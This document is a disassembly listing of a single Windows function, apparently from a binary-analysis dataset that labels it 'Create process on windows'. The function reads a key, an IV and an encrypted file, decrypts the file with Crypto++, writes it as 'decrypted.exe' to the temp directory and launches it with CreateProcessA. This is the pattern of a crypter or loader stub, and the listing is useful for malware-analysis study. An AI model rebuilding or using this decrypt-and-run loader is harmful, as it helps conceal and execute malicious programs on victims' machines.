Function at 0x401d79
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xd48
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xc20], xmm6
movaps xmmword [rbp + 0xc30], xmm7
movaps xmmword [rbp + 0xc40], xmm8
movaps xmmword [rbp + 0xc50], xmm9
movaps xmmword [rbp + 0xc60], xmm10
movaps xmmword [rbp + 0xc70], xmm11
movaps xmmword [rbp + 0xc80], xmm12
movaps xmmword [rbp + 0xc90], xmm13
movaps xmmword [rbp + 0xca0], xmm14
movaps xmmword [rbp + 0xcb0], xmm15
mov qword [rbp + 0xd10], rcx
mov qword [rbp + 0xd18], rdx
mov qword [rbp + 0xd20], r8
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp + 0x50], rax
lea rax, [0x0067feb8]
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0x60]
lea rdi, [rbp + 0xc20]
mov qword [rax], rdi
lea rdx, [0x00402be4]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp + 0x20]
mov rcx, rax
call dbg._Unwind_SjLj_Register
lea rax, [rbp + 0x8c0]
mov dword [rbp + 0x28], 0xffffffff
mov r8d, 8
mov rdx, qword [rbp + 0xd10]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
mov rdx, qword [rbp + 0xd18]
lea rax, [rbp + 0x6e0]
mov dword [rbp + 0x28], 1
mov r8d, 8
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
mov rdx, qword [rbp + 0xd20]
lea rax, [rbp + 0x500]
mov dword [rbp + 0x28], 2
mov r8d, 4
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x8c0]
add rax, 0xd8
mov dword [rbp + 0x28], 3
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x401f45
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0xaa0]
mov dword [rbp + 0x28], 4
mov r8, qword [rbp + 0xd10]
lea rdx, str.Failed_to_open_key_file:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xaa0]
mov dword [rbp + 0x28], 5
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call method.std::runtime_error.runtime_error_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xaa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp + 0x28], 3
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rdx, [0x00641be0]
mov rcx, qword [rbp + 0x88]
call sym.__cxa_throw
lea rax, [rbp + 0x6e0]
add rax, 0xd8
mov dword [rbp + 0x28], 3
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x401fe1
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0xac0]
mov rdx, qword [rbp + 0xd18]
mov dword [rbp + 0x28], 6
mov r8, rdx
lea rdx, str.Failed_to_open_IV_file:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xac0]
mov dword [rbp + 0x28], 7
mov rdx, rax
mov rcx, qword [rbp + 0x18]
call method.std::runtime_error.runtime_error_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xac0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp + 0x28], 3
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rdx, [0x00641be0]
mov rcx, qword [rbp + 0x18]
call sym.__cxa_throw
lea rax, [rbp + 0x500]
add rax, 0xd8
mov dword [rbp + 0x28], 3
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x40207d
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0xae0]
mov rdx, qword [rbp + 0xd20]
mov dword [rbp + 0x28], 8
mov r8, rdx
lea rdx, str.Failed_to_open_encrypted_file:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xae0]
mov dword [rbp + 0x28], 9
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call method.std::runtime_error.runtime_error_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xae0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp + 0x28], 3
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rdx, [0x00641be0]
mov rcx, qword [rbp + 0x10]
call sym.__cxa_throw
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.005d3300
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.005d3300
lea rdx, [rbp + 0x4e0]
lea rax, [rbp + 0x8c0]
mov dword [rbp + 0x28], 0xa
mov rcx, rax
call method.std::basic_istream_char__std::char_traits_char____std::operator___char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x6e0]
mov rcx, rax
call method.std::basic_istream_char__std::char_traits_char____std::operator___char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4e0]
mov rcx, rax
call sym.HexToBin_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4c0]
mov dword [rbp + 0x28], 0xb
mov rcx, rax
call sym.HexToBin_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x4a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
cmp rax, 0x10
jne 0x40212b
lea rax, [rbp + 0x480]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
cmp rax, 0x10
je 0x402132
mov eax, 1
jmp 0x402137
mov eax, 0
test al, al
je 0x40217d
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov dword [rbp + 0x28], 0xc
lea rdx, str.Invalid_key_or_IV_size
mov qword [rbp], rax
mov rcx, rax
call method.std::runtime_error.runtime_error_char_const_
mov dword [rbp + 0x28], 0xd
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rdx, [0x00641be0]
mov rcx, qword [rbp]
call sym.__cxa_throw
lea rax, [rbp + 0x4a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data___const
mov rdx, rax
lea rax, [rbp + 0x460]
mov dword [rbp + 0x28], 0xd
mov r8d, 0x10
mov rcx, rax
call method.CryptoPP::SecBlock_unsigned_char__CryptoPP::AllocatorWithCleanup_unsigned_char__false___.SecBlock_unsigned_char_const__unsigned_long_long_
lea rax, [rbp + 0x480]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data___const
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x458], rdx
lea rax, [rbp + 0xb0f]
mov rcx, rax
call fcn.00573e90
lea rax, [rbp + 0xb10]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator__
lea rdx, [rbp + 0x500]
lea rax, [rbp + 0xb20]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator_std::istream_
mov rax, qword [rbp + 0xb20]
mov rdx, qword [rbp + 0xb28]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov rax, qword [rbp + 0xb10]
mov rdx, qword [rbp + 0xb18]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
lea r8, [rbp + 0xb0f]
lea rcx, [rbp + 0x90]
lea rdx, [rbp + 0xa0]
lea rax, [rbp + 0x430]
mov dword [rbp + 0x28], 0xe
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::istreambuf_iterator_char__std.char_traits_char_____void__std::istreambuf_iterator_char__std::char_traits_char_____std::istreambuf_iterator_char__std:
lea rax, [rbp + 0xb0f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x360]
mov dword [rbp + 0x28], 0xf
mov rcx, rax
call fcn.004d3e90
lea rax, [rbp + 0x460]
mov rcx, rax
call method.CryptoPP::SecBlock_unsigned_char__CryptoPP::AllocatorWithCleanup_unsigned_char__false___.size___const
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x460]
mov rcx, rax
call method.CryptoPP::SecBlock_unsigned_char__CryptoPP::AllocatorWithCleanup_unsigned_char__false___.operator_unsigned_char__
mov rcx, rax
lea rdx, [rbp + 0x450]
lea rax, [rbp + 0x360]
mov dword [rbp + 0x28], 0x10
mov r9, rdx
mov r8, qword [rbp - 0x28]
mov rdx, rcx
mov rcx, rax
call method.CryptoPP::SimpleKeyingInterface.SetKeyWithIV_unsigned_char_const__unsigned_long_long__unsigned_char_const_
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.005d3300
mov dword [rbp + 0x28], 0x11
mov ecx, 0x20
call sym.operator_new_unsigned_long_long_
mov rbx, rax
lea rax, [rbp + 0x340]
mov dword [rbp + 0x28], 0x12
mov rdx, rax
mov qword [rbp - 8], rbx
mov rcx, rbx
call method.CryptoPP::StringSinkTemplate_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.StringSinkTemplate_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rax, qword [rbp - 8]
mov qword [rbp - 0x28], rax
mov dword [rbp + 0x28], 0x11
mov ecx, 0xd8
call sym.operator_new_unsigned_long_long_
mov rsi, rax
lea rax, [rbp + 0x360]
add rax, 8
mov dword [rbp + 0x28], 0x13
mov r9d, 5
mov r8, qword [rbp - 0x28]
mov rdx, rax
mov qword [rbp - 0x10], rsi
mov rcx, rsi
call fcn.00420740
lea rax, [rbp + 0x430]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x430]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data___const
mov rdx, rax
lea rax, [rbp + 0xb30]
mov rsi, qword [rbp - 0x10]
mov qword [rsp + 0x20], rsi
mov dword [rbp + 0x28], 0x11
mov r9d, 1
mov r8, qword [rbp - 0x28]
mov rcx, rax
call method.CryptoPP::StringSource.StringSource_unsigned_char_const__unsigned_long_long__bool__CryptoPP::BufferedTransformation_
lea rax, [rbp + 0xb30]
mov rcx, rax
call method.CryptoPP::StringSource.StringSource__
lea rax, [rbp + 0xbf0]
mov dword [rbp + 0x28], 0x14
mov rcx, rax
call sym.GetTempDirectory_abi:cxx11___
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0xbf0]
mov dword [rbp + 0x28], 0x19
lea r8, str.decrypted.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xbf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x140]
mov dword [rbp + 0x28], 0x1a
mov r8d, 4
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x140]
add rax, 0xd0
mov dword [rbp + 0x28], 0x1b
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x40248f
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov dword [rbp + 0x28], 0x1c
lea rdx, str.Failed_to_create_decrypted_executable_file.
mov qword [rbp - 0x18], rax
mov rcx, rax
call method.std::runtime_error.runtime_error_char_const_
mov dword [rbp + 0x28], 0x1b
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rdx, [0x00641be0]
mov rcx, qword [rbp - 0x18]
call sym.__cxa_throw
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp + 0x140]
mov dword [rbp + 0x28], 0x1b
mov r8, qword [rbp - 0x28]
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
lea rax, [rbp + 0x140]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rdx, [rbp + 0xd0]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xd0], 0x68
mov dword [rbp + 0x10c], 1
mov word [rbp + 0x110], 0
lea rax, [rbp + 0x320]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x4025c2
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov dword [rbp + 0x28], 0x1d
lea rdx, str.Failed_to_execute_decrypted_file.
mov qword [rbp - 0x20], rax
mov rcx, rax
call method.std::runtime_error.runtime_error_char_const_
mov dword [rbp + 0x28], 0x1b
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rdx, [0x00641be0]
mov rcx, qword [rbp - 0x20]
call sym.__cxa_throw
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x28], 0x1b
call rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.005afcd0
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x340]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.004d40a0
lea rax, [rbp + 0x430]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x460]
mov rcx, rax
call method.CryptoPP::SecBlock_unsigned_char__CryptoPP::AllocatorWithCleanup_unsigned_char__false___.SecBlock__
lea rax, [rbp + 0x480]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.005ac3d0
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.005ac3d0
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.005ac3d0
jmp 0x402c4c
lea rax, [rbp + 0x20]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
nop
movaps xmm6, xmmword [rbp + 0xc20]
movaps xmm7, xmmword [rbp + 0xc30]
movaps xmm8, xmmword [rbp + 0xc40]
movaps xmm9, xmmword [rbp + 0xc50]
movaps xmm10, xmmword [rbp + 0xc60]
movaps xmm11, xmmword [rbp + 0xc70]
movaps xmm12, xmmword [rbp + 0xc80]
movaps xmm13, xmmword [rbp + 0xc90]
movaps xmm14, xmmword [rbp + 0xca0]
movaps xmm15, xmmword [rbp + 0xcb0]
add rsp, 0xd48
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret